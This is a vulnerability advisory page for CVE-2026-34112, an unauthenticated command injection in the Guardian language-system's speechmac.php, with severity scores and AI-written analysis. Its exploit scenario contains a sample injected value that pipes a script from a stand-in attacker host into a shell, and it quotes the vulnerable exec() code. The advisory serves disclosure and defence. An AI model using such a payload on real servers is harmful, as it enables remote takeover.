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Guardian Language System EUVDEUVD-2026-41070

| CVE-2026-34112 CRITICAL
OS Command Injection (CWE-78)
2026-07-01 disclosure@vulncheck.com GHSA-4w55-hwr7-pf5h
Command Injection PHP
9.3
CVSS 4.0 · Vendor: vulncheck
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Severity by source

Vendor (vulncheck) PRIMARY
9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.8 CRITICAL

Unauthenticated remote request with trivial complexity reaches exec(), giving full command execution, so AV:N/AC:L/PR:N/UI:N and C:H/I:H/A:H; scope unchanged as impact stays on the host.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

1
Analysis Generated
Jul 01, 2026 - 17:30 vuln.today

DescriptionCVE.org

Guardian language-system passes the id GET parameter directly into a PHP exec() call in speechmac.php (line 18) without sanitization: exec(\"php jobs/speech_audio_mac.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.

AnalysisAI

OS command injection in the Guardian language-system's speechmac.php enables unauthenticated remote attackers to run arbitrary operating-system commands by injecting shell metacharacters into the 'id' GET parameter, which is concatenated directly into a PHP exec() call. No credentials or user interaction are required, so any network-reachable instance can be fully compromised. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify exposed speechmac.php endpoint
Delivery
Craft GET request with metacharacters in id
Exploit
Injected shell command reaches exec()
Execution
Execute arbitrary OS commands as web user
Impact
Establish foothold or exfiltrate data
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Vulnerability AssessmentAI

Exploitation The only prerequisite is network reachability to the speechmac.php endpoint; per the CVSS vector (PR:N/UI:N) exploitation is unauthenticated and requires no user interaction against default configurations of the Guardian language-system. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All available signals point to genuine high priority. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker discovers an internet-exposed Guardian language-system instance and sends a single GET request to speechmac.php with an 'id' value like 1;curl http://attacker/x|sh. The appended shell command executes on the server with the web application's privileges, giving the attacker remote code execution without any login. …
Remediation No vendor-released patch identified at time of analysis, so no exact fix version can be cited. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

Within 24 hours: Inventory all Guardian installations and identify those accessible from untrusted networks; conduct forensic review of access logs for exploitation indicators. …

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Threat intelligence, references, and detailed analysis are available after sign-in.

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EUVD-2026-41070 vulnerability details – vuln.today
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